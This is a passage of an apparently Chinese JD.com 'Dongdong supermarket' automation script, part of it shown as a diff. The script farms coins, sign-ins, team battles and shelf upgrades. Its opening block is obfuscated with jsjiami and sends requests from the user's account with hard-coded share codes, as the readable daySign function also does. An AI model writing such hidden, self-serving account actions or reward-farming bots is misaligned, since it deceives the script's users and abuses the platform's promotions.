sKZWBc=','XDLDlcOyWsOwwpXClcKow51TOQ==','44KQ6aOI5Y+A6Ye15biy44GG','w4PChgjCnTQDw60SWcKOw78z','YQxpw4Y=','bh3DuhXDpCw=','IhEqw6sMDcORIsOtw7l/wog=','YsOnR8OPw48=','B8KawqbCmkc=','CNjgLwsjiahmxwtUFi.kcom.vK6Wr=='];(function(_0x435e9c,_0x2c3b15,_0x3fd29c){var _0x15d5aa=function(_0x2845d9,_0xb1eaf8,_0x23b88a,_0x2249c6,_0x329b7f){_0xb1eaf8=_0xb1eaf8>>0x8,_0x329b7f='po';var _0x35c260='shift',_0x2adf61='push';if(_0xb1eaf8<_0x2845d9){while(--_0x2845d9){_0x2249c6=_0x435e9c[_0x35c260]();if(_0xb1eaf8===_0x2845d9){_0xb1eaf8=_0x2249c6;_0x23b88a=_0x435e9c[_0x329b7f+'p']();}else if(_0xb1eaf8&&_0x23b88a['replace'](/[CNgLwhxwtUFkKWr=]/g,'')===_0xb1eaf8){_0x435e9c[_0x2adf61](_0x2249c6);}}_0x435e9c[_0x2adf61](_0x435e9c[_0x35c260]());}return 0x7c478;};return _0x15d5aa(++_0x2c3b15,_0x3fd29c)>>_0x2c3b15^_0x3fd29c;}(_0x435a,0xf0,0xf000));var _0x31f9=function(_0x399ba0,_0x20111a){_0x399ba0=~~'0x'['concat'](_0x399ba0);var _0x25028c=_0x435a[_0x399ba0];if(_0x31f9['zPVvlF']===undefined){(function(){var _0x210516=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x57bbc1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x210516['atob']||(_0x210516['atob']=function(_0x20394a){var _0x2b515a=String(_0x20394a)['replace'](/=+$/,'');for(var _0x1de264=0x0,_0x45341e,_0x202179,_0x2931f0=0x0,_0x25ac2b='';_0x202179=_0x2b515a['charAt'](_0x2931f0++);~_0x202179&&(_0x45341e=_0x1de264%0x4?_0x45341e*0x40+_0x202179:_0x202179,_0x1de264++%0x4)?_0x25ac2b+=String['fromCharCode'](0xff&_0x45341e>>(-0x2*_0x1de264&0x6)):0x0){_0x202179=_0x57bbc1['indexOf'](_0x202179);}return _0x25ac2b;});}());var _0x16faa9=function(_0x52c1b7,_0x20111a){var _0x2b3a74=[],_0x13fedf=0x0,_0x18ee6a,_0x3c0ad7='',_0x40588a='';_0x52c1b7=atob(_0x52c1b7);for(var _0x553635=0x0,_0x37238b=_0x52c1b7['length'];_0x553635<_0x37238b;_0x553635++){_0x40588a+='%'+('00'+_0x52c1b7['charCodeAt'](_0x553635)['toString'](0x10))['slice'](-0x2);}_0x52c1b7=decodeURIComponent(_0x40588a);for(var _0x260892=0x0;_0x260892<0x100;_0x260892++){_0x2b3a74[_0x260892]=_0x260892;}for(_0x260892=0x0;_0x260892<0x100;_0x260892++){_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892]+_0x20111a['charCodeAt'](_0x260892%_0x20111a['length']))%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;}_0x260892=0x0;_0x13fedf=0x0;for(var _0x39df9f=0x0;_0x39df9f<_0x52c1b7['length'];_0x39df9f++){_0x260892=(_0x260892+0x1)%0x100;_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892])%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;_0x3c0ad7+=String['fromCharCode'](_0x52c1b7['charCodeAt'](_0x39df9f)^_0x2b3a74[(_0x2b3a74[_0x260892]+_0x2b3a74[_0x13fedf])%0x100]);}return _0x3c0ad7;};_0x31f9['VDDtgo']=_0x16faa9;_0x31f9['tLHaYD']={};_0x31f9['zPVvlF']=!![];}var _0x4f0f2e=_0x31f9['tLHaYD'][_0x399ba0];if(_0x4f0f2e===undefined){if(_0x31f9['aqllwv']===undefined){_0x31f9['aqllwv']=!![];}_0x25028c=_0x31f9['VDDtgo'](_0x25028c,_0x20111a);_0x31f9['tLHaYD'][_0x399ba0]=_0x25028c;}else{_0x25028c=_0x4f0f2e;}return _0x25028c;};async function receiveGoldCoin(){var _0x4fa25c={'Shdoo':_0x31f9('0','alBx'),'WOeXE':function(_0x41e168,_0x371768,_0x89b5b8){return _0x41e168(_0x371768,_0x89b5b8);},'kKoLG':_0x31f9('1','fXrq'),'iASbk':_0x31f9('2','4l&k'),'EnPfv':_0x31f9('3','dS]p'),'qVbnJ':_0x31f9('4','Th$J'),'pHWak':function(_0x45588d,_0x2886f0){return _0x45588d*_0x2886f0;},'EaRqk':function(_0x48368a,_0x3756da){return _0x48368a(_0x3756da);},'oJDZr':function(_0x27c544,_0x55b6a1){return _0x27c544===_0x55b6a1;},'eKgpp':_0x31f9('5','uuZV')};const _0x862b2c=_0x4fa25c[_0x31f9('6','ipL4')](taskUrl,_0x4fa25c[_0x31f9('7','I*9!')],{'shareId':[_0x4fa25c[_0x31f9('8','jQqE')],_0x4fa25c[_0x31f9('9','kjSm')],_0x4fa25c[_0x31f9('a','9s4C')]][Math[_0x31f9('b','jQqE')](_0x4fa25c[_0x31f9('c','fjoo')](Math[_0x31f9('d','IZeJ')](),0x3))],'channel':'4'});$[_0x31f9('e','tAmR')](_0x862b2c,(_0xcd0230,_0x129b96,_0x6f0d7c)=>{});$[_0x31f9('f','Kk$i')]=await _0x4fa25c[_0x31f9('10','dS]p')](smtgReceiveCoin,{'type':0x0});if($[_0x31f9('11','fXrq')][_0x31f9('12','fXrq')]&&_0x4fa25c[_0x31f9('13','4l&k')]($[_0x31f9('14','dS]p')][_0x31f9('15','tAmR')][_0x31f9('16','O1#j')],0x0)){console[_0x31f9('17','jQqE')](_0x31f9('18','QDli')+$[_0x31f9('19','4l&k')][_0x31f9('1a','IZeJ')][_0x31f9('1b','9XN1')][_0x31f9('1c','O1#j')]);message+=_0x31f9('1d','IZeJ')+$[_0x31f9('1e','V35y')][_0x31f9('1f','1v!Q')][_0x31f9('20','niHx')][_0x31f9('21','QDli')]+'个\x0a';}else{if(_0x4fa25c[_0x31f9('22','g1aj')](_0x4fa25c[_0x31f9('23','uuZV')],_0x4fa25c[_0x31f9('24','9XN1')])){console[_0x31f9('25','9XN1')](''+($[_0x31f9('19','4l&k')][_0x31f9('26','jQqE')]&&$[_0x31f9('f','Kk$i')][_0x31f9('27','V35y')][_0x31f9('28','tAmR')]));}else{console[_0x31f9('29','JVIY')](_0x4fa25c[_0x31f9('2a','JVIY')]);console[_0x31f9('17','jQqE')](JSON[_0x31f9('2b','XM88')](err));}}}function smtgHome(){var _0x2b0b51={'Tnybf':function(_0x3cfac6,_0x5ebf63){return _0x3cfac6(_0x5ebf63);},'KfcyW':_0x31f9('2c','dS]p'),'ULcFc':function(_0xf3db46,_0x4ddbc1){return _0xf3db46===_0x4ddbc1;},'OZgNt':_0x31f9('2d','niHx'),'fgcRm':function(_0x218926,_0xe4ad23){return _0x218926(_0xe4ad23);},'bynrM':function(_0x4ded26,_0x51a247){return _0x4ded26!==_0x51a247;},'umcbJ':_0x31f9('2e','Th$J'),'ZKYUq':function(_0x5843d,_0x4f2c1e,_0x23c3d1){return _0x5843d(_0x4f2c1e,_0x23c3d1);},'DCCUj':_0x31f9('2f','^N7t'),'rDJJu':_0x31f9('30','uuZV'),'Uiniz':_0x31f9('31','kjSm'),'XyDTT':_0x31f9('32','fXrq'),'TIMmh':function(_0x7cea4,_0x4d9e77){return _0x7cea4*_0x4d9e77;},'rTxVX':function(_0x1f9203,_0x41fca2,_0x4dfc90){return _0x1f9203(_0x41fca2,_0x4dfc90);}};return new Promise(_0x19bcc9=>{var _0x50ad87={'ffdRj':_0x2b0b51[_0x31f9('33','ipL4')],'maldN':function(_0x2d0056,_0x4fba72){return _0x2b0b51[_0x31f9('34','QDli')](_0x2d0056,_0x4fba72);},'pXfiX':function(_0x45bb54,_0xf58ee6){return _0x2b0b51[_0x31f9('35','tAmR')](_0x45bb54,_0xf58ee6);},'SiSqZ':_0x2b0b51[_0x31f9('36','yGrB')],'QrDoh':function(_0x580291,_0x2482f9){return _0x2b0b51[_0x31f9('37','#[[S')](_0x580291,_0x2482f9);}};if(_0x2b0b51[_0x31f9('38','IZeJ')](_0x2b0b51[_0x31f9('39','9XN1')],_0x2b0b51[_0x31f9('3a','uuZV')])){_0x2b0b51[_0x31f9('3b','00Qy')](_0x19bcc9,data);}else{const _0x4bebee=_0x2b0b51[_0x31f9('3c','GgY[')](taskUrl,_0x2b0b51[_0x31f9('3d','i&$e')],{'shareId':[_0x2b0b51[_0x31f9('3e','tAmR')],_0x2b0b51[_0x31f9('3f','9s4C')],_0x2b0b51[_0x31f9('40','4l&k')]][Math[_0x31f9('41','#0F!')](_0x2b0b51[_0x31f9('42','Th$J')](Math[_0x31f9('43','JVIY')](),0x3))],'channel':'4'});$[_0x31f9('44','O1#j')](_0x4bebee,(_0x176204,_0x22f68e,_0x3cd660)=>{});$[_0x31f9('45','kjSm')](_0x2b0b51[_0x31f9('46','9XN1')](taskUrl,_0x2b0b51[_0x31f9('47','18kq')],{'channel':'18'}),(_0x509722,_0x52e599,_0x37449c)=>{try{if(_0x509722){console[_0x31f9('48','!8b9')](_0x50ad87[_0x31f9('49','V35y')]);console[_0x31f9('4a','dS]p')](JSON[_0x31f9('4b','*eIx')](_0x509722));}else{_0x37449c=JSON[_0x31f9('4c','nr2f')](_0x37449c);if(_0x50ad87[_0x31f9('4d','v#0&')](_0x37449c[_0x31f9('4e','!8b9')],0x0)&&_0x37449c[_0x31f9('1f','1v!Q')][_0x31f9('4f','uuZV')]){const {result}=_0x37449c[_0x31f9('50','ce1a')];const {shopName,totalBlue,userUpgradeBlueVos,turnoverProgress}=result;$[_0x31f9('51','18kq')]=userUpgradeBlueVos;$[_0x31f9('52','oqIa')]=turnoverProgress;}}}catch(_0x56d7e6){$[_0x31f9('53','Znct')](_0x56d7e6,_0x52e599);}finally{if(_0x50ad87[_0x31f9('54','lXFG')](_0x50ad87[_0x31f9('55','V35y')],_0x50ad87[_0x31f9('56','I*9!')])){_0x50ad87[_0x31f9('57','niHx')](_0x19bcc9,_0x37449c);}else{console[_0x31f9('58','nr2f')](''+($[_0x31f9('59','oqIa')][_0x31f9('5a','XM88')]&&$[_0x31f9('5b','i&$e')][_0x31f9('5a','XM88')][_0x31f9('28','tAmR')]));}}});}});};_0xod8='jsjiami.com.v6';
+//领限时商品的蓝币
+async function receiveLimitProductBlueCoin() {
+ const res = await smtgReceiveCoin({ "type": 1 });
+ console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`);
+ if (res.data.bizCode === 0) {
+ message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`;
+ }
+}
+//领蓝币
+function receiveBlueCoin(timeout = 0) {
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ $.get(taskUrl('smtg_receiveCoin', {"type": 2, "channel": "18"}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ $.data = data;
+ if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) {
+ $.coinerr = `${$.data.data.bizMsg}`;
+ message += `【收取小费】${$.data.data.bizMsg}\n`;
+ console.log(`收取蓝币失败:${$.data.data.bizMsg}`)
+ return
+ }
+ if ($.data.data.bizCode === 0) {
+ $.coincount += $.data.data.result.receivedBlue;
+ $.blueCionTimes ++;
+ console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`)
+ if (!$.data.data.result.isNextReceived) {
+ message += `【收取小费】${$.coincount}个\n`;
+ return
+ }
+ }
+ await receiveBlueCoin(3000);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ },timeout)
+ })
+}
+async function daySign() {
+ const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"});
+ await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"});
+ if (signDataRes && signDataRes.code === 0) {
+ const signList = await smtgSignList();
+ if (signList.data.bizCode === 0) {
+ $.todayDay = signList.data.result.todayDay;
+ }
+ if (signDataRes.code === 0 && signDataRes.data.success) {
+ message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n`
+ } else {
+ message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n`
+ }
+ }
+}
+async function BeanSign() {
+ const beanSignRes = await smtgSign({"channel": "1"});
+ if (beanSignRes && beanSignRes.data['bizCode'] === 0) {
+ console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`)
+ }
+}
+//每日签到
+function smtgSign(body) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_sign', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+// 商圈活动
+async function businessCircleActivity() {
+ // console.log(`\n商圈PK奖励,次日商圈大战开始的时候自动领领取\n`)
+ joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`);
+ const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo();
+ if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) {
+ const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result;
+ console.log(`\njoinStatus:${joinStatus}`);
+ console.log(`pkStatus:${pkStatus}\n`);
+ console.log(`pkActivityId:${pkActivityId}\n`);
+
+ if (joinStatus === 0) {
+ if (joinPkTeam === 'true') {
+ console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`)
+ await updatePkActivityIdCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateTeam.json');
+ console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`);
+ console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`);
+ if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) {
+ await getTeam();
+ let Teams = []
+ Teams = $.updatePkActivityIdRes['Teams'] || Teams;
+ if ($.getTeams && $.getTeams.length) {
+ Teams = [...Teams, ...$.getTeams.filter(item => item['pkActivityId'] === `${pkActivityId}`)];
+ }
+ const randomNum = randomNumber(0, Teams.length);
+
+ const res = await smtg_joinPkTeam(Teams[randomNum] && Teams[randomNum].teamId, Teams[randomNum] && Teams[randomNum].inviteCode, pkActivityId);
+ if (res && res.data.bizCode === 0) {
+ console.log(`加入战队成功`)
+ } else if (res && res.data.bizCode === 229) {
+ console.log(`加入战队失败,该战队已满\n无法加入`)
+ } else {
+ console.log(`加入战队其他未知情况:${JSON.stringify(res)}`)
+ }
+ } else {
+ console.log('\nupdatePkActivityId请求返回的pkActivityId与京东服务器返回不一致,暂时不加入战队')
+ }
+ }
+ } else if (joinStatus === 1) {
+ if (teamId) {
+ console.log(`inviteCode: [${inviteCode}]`);
+ console.log(`PK队伍teamId: [${teamId}]`);
+ console.log(`PK队伍名称: [${currentUserPkInfo && currentUserPkInfo.teamName}]`);
+ console.log(`我邀请的人数:${inviteCount}\n`)
+ console.log(`\n我方战队战队 [${currentUserPkInfo && currentUserPkInfo.teamName}]/【${currentUserPkInfo && currentUserPkInfo.teamCount}】`);
+ console.log(`对方战队战队 [${pkUserPkInfo && pkUserPkInfo.teamName}]/【${pkUserPkInfo && pkUserPkInfo.teamCount}】\n`);
+ }
+ }
+ if (pkStatus === 1) {
+ console.log(`商圈PK进行中\n`)
+ if (!teamId) {
+ const receivedPkTeamPrize = await smtg_receivedPkTeamPrize();
+ console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`)
+ if (receivedPkTeamPrize.data.bizCode === 0) {
+ if (receivedPkTeamPrize.data.result.pkResult === 1) {
+ const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result;
+ message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`;
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`)
+ }
+ } else if (receivedPkTeamPrize.data.result.pkResult === 2) {
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`)
+ }
+ }
+ }
+ }
+ } else if (pkStatus === 2) {
+ console.log(`商圈PK结束了`)
+ if (prizeInfo.pkPrizeStatus === 2) {
+ console.log(`开始领取商圈PK奖励`);
+ // const receivedPkTeamPrize = await smtg_receivedPkTeamPrize();
+ // console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}`)
+ // if (receivedPkTeamPrize.data.bizCode === 0) {
+ // if (receivedPkTeamPrize.data.result.pkResult === 1) {
+ // const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result;
+ // message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`;
+ // if ($.isNode()) {
+ // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`)
+ // }
+ // } else if (receivedPkTeamPrize.data.result.pkResult === 2) {
+ // if ($.isNode()) {
+ // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`)
+ // }
+ // }
+ // }
+ } else if (prizeInfo.pkPrizeStatus === 1) {
+ console.log(`商圈PK奖励已经领取\n`)
+ }
+ } else if (pkStatus === 3) {
+ console.log(`商圈PK暂停中\n`)
+ }
+ } else {
+ console.log(`\n${JSON.stringify(smtg_getTeamPkDetailInfoRes)}\n`)
+ }
+ return
+ const businessCirclePKDetailRes = await smtg_businessCirclePKDetail();
+ if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) {
+ const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result;
+ console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`);
+ const businessCircleIndexRes = await smtg_businessCircleIndex();
+ const { result } = businessCircleIndexRes.data;
+ const { pkPrizeStatus, pkStatus } = result;
+ if (pkPrizeStatus === 2) {
+ console.log(`开始领取商圈PK奖励`);
+ const getPkPrizeRes = await smtg_getPkPrize();
+ console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`)
+ if (getPkPrizeRes.data.bizCode === 0) {
+ const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result;
+ message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`;
+ }
+ }
+ console.log(`我方商圈人气值/对方商圈人气值:${businessCircleVO.hotPoint}/${otherBusinessCircleVO.hotPoint}`);
+ console.log(`我方商圈成员数量/对方商圈成员数量:${businessCircleVO.memberCount}/${otherBusinessCircleVO.memberCount}`);
+ message += `【我方商圈】${businessCircleVO.memberCount}/${businessCircleVO.hotPoint}\n`;
+ message += `【对方商圈】${otherBusinessCircleVO.memberCount}/${otherBusinessCircleVO.hotPoint}\n`;
+ // message += `【我方商圈人气值】${businessCircleVO.hotPoint}\n`;
+ // message += `【对方商圈人气值】${otherBusinessCircleVO.hotPoint}\n`;
+ businessCircleJump = $.getdata('jdBusinessCircleJump') ? $.getdata('jdBusinessCircleJump') : businessCircleJump;
+ if ($.isNode() && process.env.jdBusinessCircleJump) {
+ businessCircleJump = process.env.jdBusinessCircleJump;
+ }
+ if (`${businessCircleJump}` === 'false') {
+ console.log(`\n小于对方300热力值自动更换商圈队伍: 您设置的是禁止自动更换商圈队伍\n`);
+ return
+ }
+ if (otherBusinessCircleVO.hotPoint - businessCircleVO.hotPoint > 300 && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000))) {
+ //退出该商圈
+ if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return;
+ console.log(`商圈PK已过1天,对方商圈人气值还大于我方商圈人气值300,退出该商圈重新加入`);
+ await smtg_quitBusinessCircle();
+ } else if (otherBusinessCircleVO.hotPoint > businessCircleVO.hotPoint && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000 * 2))) {
+ //退出该商圈
+ if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return;
+ console.log(`商圈PK已过2天,对方商圈人气值还大于我方商圈人气值,退出该商圈重新加入`);
+ await smtg_quitBusinessCircle();
+ }
+ } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 222) {
+ console.log(`${businessCirclePKDetailRes.data.bizMsg}`);
+ console.log(`开始领取商圈PK奖励`);
+ const getPkPrizeRes = await smtg_getPkPrize();
+ console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`)
+ if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) {
+ const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result;
+ $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`)
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`)
+ }
+ }
+ } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 206) {
+ console.log(`您暂未加入商圈,现在给您加入作者的商圈`);
+ const joinBusinessCircleRes = await smtg_joinBusinessCircle(myCircleId);
+ console.log(`参加商圈结果:${JSON.stringify(joinBusinessCircleRes)}`)
+ if (joinBusinessCircleRes.data.bizCode !== 0) {
+ console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`);
+ const BusinessCircleList = await smtg_getBusinessCircleList();
+ if (BusinessCircleList.data.bizCode === 0) {
+ const { businessCircleVOList } = BusinessCircleList.data.result;
+ const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)];
+ const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId);
+ console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`)
+ }
+ }
+ } else {
+ console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`);
+ }
+}
+//我的货架
+async function myProductList() {
+ const shelfListRes = await smtg_shelfList();
+ if (shelfListRes.data.bizCode === 0) {
+ const { shelfList } = shelfListRes.data.result;
+ console.log(`\n货架数量:${shelfList && shelfList.length}`)
+ for (let item of shelfList) {
+ console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`);
+ console.log(`货架等级 level ${item.level}/${item.maxLevel}`);
+ console.log(`上架状态 groundStatus ${item.groundStatus}`);
+ console.log(`解锁状态 unlockStatus ${item.unlockStatus}`);
+ console.log(`升级状态 upgradeStatus ${item.upgradeStatus}`);
+ if (item.unlockStatus === 0) {
+ console.log(`${item.name}不可解锁`)
+ } else if (item.unlockStatus === 1) {
+ console.log(`${item.name}可解锁`);
+ await smtg_unlockShelf(item.shelfId);
+ } else if (item.unlockStatus === 2) {
+ console.log(`${item.name}已经解锁`)
+ }
+ if (item.groundStatus === 1) {
+ console.log(`${item.name}可上架`);
+ const productListRes = await smtg_shelfProductList(item.shelfId);
+ if (productListRes.data.bizCode === 0) {
+ const { productList } = productListRes.data.result;
+ if (productList && productList.length > 0) {
+ // 此处限时商品未分配才会出现
+ let limitTimeProduct = [];
+ for (let item of productList) {
+ if (item.productType === 2) {
+ limitTimeProduct.push(item);
+ }
+ }
+ if (limitTimeProduct && limitTimeProduct.length > 0) {
+ //上架限时商品
+ await smtg_ground(limitTimeProduct[0].productId, item.shelfId);
+ } else {
+ await smtg_ground(productList[productList.length - 1].productId, item.shelfId);
+ }
+ } else {
+ console.log("无可上架产品");
+ await unlockProductByCategory(item.shelfId.split('-')[item.shelfId.split('-').length - 1])
+ }
+ }
+ } else if (item.groundStatus === 2 || item.groundStatus === 3) {
+ if (item.productInfo.productType === 2) {
+ console.log(`[${item.name}][限时商品]`)
+ } else if (item.productInfo.productType === 1){
+ console.log(`[${item.name}]`)
+ } else {
+ console.log(`[${item.name}][productType:${item.productInfo.productType}]`)
+ }
+ }
+ }
+ }
+}
+//根据类型解锁一个商品,货架可上架商品时调用
+async function unlockProductByCategory(category) {
+ const smtgProductListRes = await smtg_productList();
+ if (smtgProductListRes.data.bizCode === 0) {
+ let productListByCategory = [];
+ const { productList } = smtgProductListRes.data.result;
+ for (let item of productList) {
+ if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) {
+ productListByCategory.push(item);
+ }
+ }
+ if (productListByCategory && productListByCategory.length > 0) {
+ console.log(`待解锁的商品数量:${productListByCategory.length}`);
+ await smtg_unlockProduct(productListByCategory[productListByCategory.length - 1]['productId']);
+ } else {
+ console.log("该类型商品暂时无法解锁");
+ }
+ }
+}
+//升级货架和商品
+async function upgrade() {
+ superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade;
+ if ($.isNode() && process.env.SUPERMARKET_UPGRADE) {
+ superMarketUpgrade = process.env.SUPERMARKET_UPGRADE;
+ }
+ if (`${superMarketUpgrade}` === 'false') {
+ console.log(`\n自动升级: 您设置的是关闭自动升级\n`);
+ return
+ }
+ console.log(`\n*************开始检测升级商品,如遇到商品能解锁,则优先解锁***********`)
+ console.log('目前没有平稳升级,只取倒数几个商品进行升级,普通货架取倒数4个商品,冰柜货架取倒数3个商品,水果货架取倒数2个商品')
+ const smtgProductListRes = await smtg_productList();
+ if (smtgProductListRes.data.bizCode === 0) {
+ let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = [];
+ const { productList } = smtgProductListRes.data.result;
+ for (let item of productList) {
+ if (item['productType'] === 1) {
+ productType1.push(item);
+ }
+ }
+ for (let item2 of productType1) {
+ if (item2['shelfCategory'] === 1) {
+ shelfCategory_1.push(item2);
+ }
+ if (item2['shelfCategory'] === 2) {
+ shelfCategory_2.push(item2);
+ }
+ if (item2['shelfCategory'] === 3) {
+ shelfCategory_3.push(item2);
+ }
+ }
+ shelfCategory_1 = shelfCategory_1.slice(-4);
+ shelfCategory_2 = shelfCategory_2.slice(-3);
+ shelfCategory_3 = shelfCategory_3.slice(-2);
+ const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3);
+ console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`)
+ for (let item of shelfCategorys) {
+ console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`)
+ }
+ shelfCategorys.sort(sortSyData);
+ for (let item of shelfCategorys) {
+ if (item['unlockStatus'] === 1) {
+ console.log(`\n开始解锁商品:${item['name']}`)
+ await smtg_unlockProduct(item['productId']);
+ break;
+ }
+ if (item['upgradeStatus'] === 1) {
+ console.log(`\n开始升级商品:${item['name']}`)
+ await smtg_upgradeProduct(item['productId']);
+ break;
+ }
+ }
+ }
+ console.log('\n**********开始检查能否升级货架***********');
+ const shelfListRes = await smtg_shelfList();
+ if (shelfListRes.data.bizCode === 0) {
+ const { shelfList } = shelfListRes.data.result;
+ let shelfList_upgrade = [];
+ for (let item of shelfList) {
+ if (item['upgradeStatus'] === 1) {
+ shelfList_upgrade.push(item);
+ }
+ }
+ console.log(`待升级货架数量${shelfList_upgrade.length}个`);
+ if (shelfList_upgrade && shelfList_upgrade.length > 0) {
+ shelfList_upgrade.sort(sortSyData);
